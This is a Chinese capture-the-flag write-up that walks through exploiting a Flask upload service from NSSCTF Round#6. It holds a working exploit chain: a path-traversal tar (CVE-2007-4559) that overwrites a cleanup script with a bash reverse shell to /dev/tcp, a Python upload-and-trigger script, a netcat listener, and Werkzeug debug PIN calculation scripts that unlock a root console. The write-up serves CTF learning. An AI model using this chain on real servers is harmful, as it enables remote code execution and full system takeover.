【WP】NSSCTF Round#6 web3-check(Revenge)复现

前言

 这道题做了我很长时间,在xux师傅的帮助下,看了很多文章,学到了很多,也感受到了自己在很多方面仍然存在不足,还是要继续前进继续努力啊。参考文章在文末。

题目简介

 一道flask框架的题,开局就有源码,如下:

# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'

    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    if os.path.islink(filepath):
        return '?'
    
    if oct(os.stat(filepath).st_mode)[-3:] != '444':
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('su ctf -c /tmp/clean.sh')
    return 'success'

# print(os.environ)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

导入了tarfile模块,upload路由用于上传本地tar文件,download路由是读取文件,clean路由是执行clean.sh

思路分析

本题的知识点:

1、tarfile文件覆盖漏洞(CVE-2007-4559)

2、开启了flask的debug模式(如上源码中的debug=True),于是可以在 /console 中进入控制台,但前提是需要有pin码

3、flask debug模式算pin码

具体思路:利用tarfile任意文件覆盖漏洞,覆盖/tmp/clean.sh,再触发clean路由反弹shell,但是反弹的shell是ctf用户,没有权限读取根目录下的flag文件,flask是root用户运行,因此可以进入flask的 /console 控制台读取文件,前提是算出pin码,所以需要用反弹的ctf用户的shell找到对应信息算出pin码,登录/console后最终拿到flag.

复现

 首先我们需要创建覆盖clean.sh的exp文件,内容如下:

bash -c "bash -i >& /dev/tcp/ip/port 0>&1"  # 不加 bash -c 无法运行

并且给这个文件加上可执行权限:chmod +x exp.sh

接下去我们利用tarfile模块创建一个恶意的tar文件:

import tarfile

def changeName(tf):
    tf.name = '../../../../../tmp/clean.sh'
    return tf

with tarfile.open('exp.tar', 'w') as tf:
    # 将exp.sh重命名为'../../../../../tmp/clean.sh',并放入exp.tar文件夹中进行压缩
    tf.add('exp.sh', filter=changeName)  # exp.sh就是反弹文件

文件创建好后进行上传,并触发clean路由,脚本如下

import requests

url = 'http://1.14.71.254:28052/'

file = {
    
    
	'file': open(file='exp.tar', mode='rb')
}

resp = requests.post(url=url+'upload', files=file)
print(resp.text)
res = requests.post(url=url+'clean')
print(resp.text)

在linux中执行以上脚本,并在公网ip机中开启监听:nc -lvnp 1234

获得shell:但仍然拿不到flag

在这里插入图片描述

能看见原网站有/console,但要验证pin码,所以开始算pin码

在这里插入图片描述

pin码计算参考网址,pysnow师傅的博客:https://pysnow.cn/archives/170/

下面摘自该师傅的博客:

pin码生成条件:(必要参数)

  • probably_public_bits:

  • username
    modname
    getattr(app, 'name', app.class.name)
    getattr(mod, 'file', None)
    

    username:通过/etc/passwd这个文件去猜**
    **modname:getattr(app, “module”, t.cast(object, app).class.module)获取,不同版本的获取方式不同,但默认值都是flask.app

    appname:通过getattr(app, ‘name’, app.class.name)获取,默认值为Flask

    moddir:flask所在的路径,通过getattr(mod, ‘file’, None)获得,题目中一般通过查看debug报错信息获得

  • private_bits:

  • uuid

    网卡的mac地址的十进制,可以通过代码uuid.getnode()获得,也可以通过读取/sys/class/net/eth0/address获得,一般获取的是一串十六进制数,将其中的横杠去掉然后转十进制就行。

    例:00:16:3e:03:8f:39 => 95529701177

    machine-id

    machine-id是通过三个文件里面的内容经过处理后拼接起来

    对于非docker机,每台机器都有它唯一的machine-id,一般放在/etc/machine-id和/proc/sys/kernel/random/boot_id

    对于docker机,就要查看/proc/self/cgroup文件的内容

    非docker机,三个文件都需要读取

    docker机只读取除/etc/machine-id以外的两个文件

pin码生成脚本:

低版本(werkzeug1.0.x)

import hashlib
from itertools import chain

probably_public_bits = [
    'root'  # username,通过/etc/passwd
    'flask.app',  # modname,默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.7/site-packages/flask/app.py'  # moddir,通过报错获得
]

private_bits = [
    '25214234362297',  # mac十进制值 /sys/class/net/ens0/address
    '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'
	# 以上这串可能的两种情况:
    #1、/etc/machine-id + /proc/self/cgroup
    #2、/proc/sys/kernel/random/boot_id + /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
        else:
            rv = num

print(rv)

高版本(werkzeug>=2.0.x)

import hashlib
from itertools import chain

probably_public_bits = [
    'root'  # /etc/passwd
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # 报错得到
]

private_bits = [
    '2485376930109',  # 读取/sys/class/net/eth0/address文件 将mac地址转换为十进制
    '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'
    # 以上这串可能的两种情况:
    #1、/etc/machine-id + /proc/self/cgroup
    #2、/proc/sys/kernel/random/boot_id + /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

高版本和低版本是md5加密和sha1加密的区别,有了参数后再修改一下脚本参数,运行即可出pin码。接下来就来找参数

在这里插入图片描述

以下是脚本,运行即可得到pin码

import hashlib
from itertools import chain
# cat /etc/passwd查看运行用户,这里是root
# 以下是所有参数
probably_public_bits = [
    'root'  # /etc/passwd
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '2485376930109',  # 读取/sys/class/net/eth0/address文件 将mac地址转换为十进制
    '96cec10d3d9307792745ec3b85c8962046f20f37d2da171b003aa0ca96b94a76cd5380a6ee055aeb16ceacf3957de7ae'
    # 在这道题中,是 /etc/machine-id + /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

得到pin码:570-854-289

输入/console中,便进入了flask的控制台

在这里插入图片描述

非预期解法

 思路:debug模式下如果文件有修改会自动重载,可以直接覆盖main.py。没复现过,可以看看pysnow师傅的复现,放在参考文章中。

总结:

 我太菜了。

参考文章:

https://blog.csdn.net/weixin_54648419/article/details/123632203

https://www.pysnow.cn/archives/510/

https://pysnow.cn/archives/170/

猜你喜欢

转载自blog.csdn.net/BrosyveryOK/article/details/127688248
今日推荐